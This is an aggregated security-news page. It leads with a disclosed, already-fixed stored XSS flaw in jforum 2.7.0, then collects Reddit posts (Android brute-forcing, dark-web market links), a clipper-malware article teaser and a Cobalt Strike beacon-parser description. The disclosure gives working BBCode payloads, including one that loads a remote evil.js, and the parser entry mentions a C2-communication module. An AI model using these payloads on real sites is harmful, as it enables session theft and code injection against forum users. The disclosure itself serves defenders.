Exploit Collector
jforum 2.7.0 Cross Site Scripting

https://4.bp.blogspot.com/-hp3wB9AXd0k/WWlvDY5V44I/AAAAAAAAIKs/ScSIhWVAvDAhjeMkIwqbNby9r3gKQvOEgCLcBGAs/s1600/h128.png
jforum version 2.7.0 suffers from a persistent cross site scripting vulnerability.

MD5 | 853762005d22edc1e57bd00f68ea8394

Download
hi,

I found a vulnerability in the jforum 2.7.0. It is a storage cross site
script vulnerability. The place is the user's profile - signature. The
technique of the vulnerability is the same as that described in this
article "STORED CROSS SITE SCRIPTING IN BBCODE" (
https://mindedsecurity.com/advisories/msa130510/), and the POC is:

color tag:
[color=red" onMouseOver="alert('xss')]XSS[/color]
[color=red" onMouseOver="$.getScript('http://192.168.45.148:8080/evil.js')
;"]XSS[/color]
Renders into HTML:
XSS

color="red">XSS

img tag:
[img]/demo.jpg" onMouseOver="alert('xss')[/img]
Renders into HTML:
/demo.jpg

url= tag:
[url='http://www.demo.com" onMouseOver="alert('xss')']test[/url]
Renders into HTML:

target="_blank">test

through analysis, the forum has set the cookie to http-only, but the
attacker can use the $.getScript to do some evil things.

this vulnerability has been fixed in
https://sourceforge.net/p/jforum2/code/934/ .

timeline:
2021-04-21 announce the developer of Jforum by e-mail
2021-04-22 Jforum fixed the vulnerability, and will include this fix in
next release
2021-09-02 send this mail to bugtraq&fulldisclosure

Source:packetstormsecurity.com

hacking: security in practice
Learning Brute force for android (HID)

I have a Note 9 that is currently not being used. I have a password set on it & I was wondering how I could go about learning to brute force the password.

I'm not using the phone, the amount of time it takes to get the password is irrelevant to me as its more for my personal learning. How can I go about brute forcing the password (even if it takes 10 years) I've heard of hashcat and JohnTheRipper but I'm unsure about how I would go about using them to brute force a password on a physical device through USB, I've seen some GitHub projects of older scripts made for GS5 and such, but if anyone knows of how I can get started. Things such as resources, POCs, tools I can use, etc. I would really appreciate that, all I know right now is that most end up using an HID cable which I have a very vague understanding of (just that its acts like a virtual keyboard to input touch to the phone).

submitted by /u/count_Der3k
[link] [comments]

hacking: security in practice
Hey, want to develop the HACKER MINDSET!!

https://external-preview.redd.it/dAQGBgr2iMXUloI1TmoQfmBC3YyAfA2pTvejItNfhAQ.jpg?width=320&crop=smart&auto=webp&s=312fab20f128f9512760ec9cb098ea77965df5fd submitted by /u/JGmagicman
[link] [comments]

hacking: security in practice
Is Arcai Netcut safe?

I found it on my laptop and looking online, it had a few people saying that it had viruses, but virustotal said it had no detections. Is it safe?

https://www.virustotal.com/gui/file/1afc430f162c5a2177b17cb2ef908e7997873a82972d40749fcd0694b6a32f0d/detection

submitted by /u/Serrune
[link] [comments]

hacking: security in practice
Overwhelming a site with false data

https://b.thumbs.redditmedia.com/H5Dq4M5R0QQawBa3t9aY6SGYTyJbqD3P-CNO28FRS4o.jpg submitted by /u/snafe_
[link] [comments]

Hacking on Medium
IPsec Tunneling

https://cdn-images-1.medium.com/max/984/0*kDdVjWbARsLFC6kq.jpg
GitHub — Jadhusan-S/Python3-IPsecTunnel:

Continue reading on Medium »

Hacking on Medium
The lengths a coder goes to skip classes.

So it was a normal day. I was either watching Rick and Morty’s Season 5 Episode 8 or I was trying to read a blog. Oh and there was a class…

Continue reading on Medium »

The Malware That Swaps Your Address And Drains Your Wallet
https://medium.com/immunefi/the-malware-that-swaps-your-address-and-drains-your-wallet-552915fba542?source=rss------bug_bounty-5

Since at least 2017, cybercriminals have been deploying a type of malware known as “Clipper” malware, which hijacks a user’s clipboard and…Continue reading on Immunefi » (https://medium.com/immunefi/the-malware-that-swaps-your-address-and-drains-your-wallet-552915fba542?source=rss------bug_bounty-5)

Deep Web
My .onion links aren't working

Ive been trying to about 3 hours to try to get on notevil, torch, anihme, alpha bay, dream market and wallstreetmaket and none of them work. I've been lightly browsing for years now and I know all 6 of my links didn't go dead. Is my computer blacklisted?

submitted by /u/kramer361
[link] [comments]

CobaltStrikeParser - Python parser for CobaltStrike Beacon's configuration
http://www.kitploit.com/2021/09/cobaltstrikeparser-python-parser-for.html

Python parser for CobaltStrike (https://www.kitploit.com/search/label/CobaltStrike) Beacon's configuration
Description
Use parse_beacon_config.py for stageless beacons, memory dumps or C2 urls with metasploit (https://www.kitploit.com/search/label/Metasploit) compatibility mode (default true).
Many stageless beacons are PEs where the beacon (https://www.kitploit.com/search/label/Beacon) code itself is stored in the .data section and xored with 4-byte key.
The script tries to find the xor key and data heuristically, decrypt the data and parse the configuration from it. This is designed so it can be used as a library (https://www.kitploit.com/search/label/Library) too. The repo now also includes a small commuincation module (comm.py) that can help with communcating to a C2 server as a beacon.
Usage
usage: parse_beacon_config.py [-h] [--json] [--quiet] [--version VERSION] beacon

Parses CobaltStrike Beacon's configuration from PE, memory dump or URL.

positional arguments:
beacon This can be a file path or a url (if started with http/s)

optional arguments:
-h, --help show this help message and exit
--json Print as json
--quiet Do not print missing or empty settings
--version VERSION Try as specific cobalt version (3 or 4). If not specified, tries both.

Extra
To use the communication poc copy it to the main folder and run it from there. For installing the M2Crypto library (a requirement for the poc) on Windows, it's easiest with installers found online, and not through pip.

Download CobaltStrikeParser (https://github.com/Sentinel-One/CobaltStrikeParser)

CobaltStrikeParser - Python parser for CobaltStrike Beacon's configuration

Python parser for CobaltStrike Beacon's configuration Description Use parse_beacon_config.py for stageless beacons, memory dumps or C2 urls with metasploit compatibility mode (default true). Many stageless beacons are PEs where the beacon code itself is stored in the .data section and xored with 4-byte key. The script tries to find the xor key and data heuristically, decrypt the data and parse the configuration from it. This is designed so it can be used as a library too. The repo now also includes a small commuincation module (comm.py) that can help with communcating to a C2 server as a beacon.Usage usage: parse_beacon_config.py -h --json --quiet --version VERSION beaconParses CobaltStrike Beacon's configuration from PE, memory dump or URL.positional arguments: beacon This can be a file path or a url (if started with http/s)optional arguments: -h, --help show this help message and exit --json Print as json --quiet Do not print missing or empty settings --version VERSION Try as specific cobalt version (3 or 4). If not specified, tries both. Extra To use the communication poc copy it to the main folder and run it from there. For installing the M2Crypto library (a requirement for the poc) on Windows, it's easiest with installers found online, and not through pip. Download CobaltStrikeParser
Read more...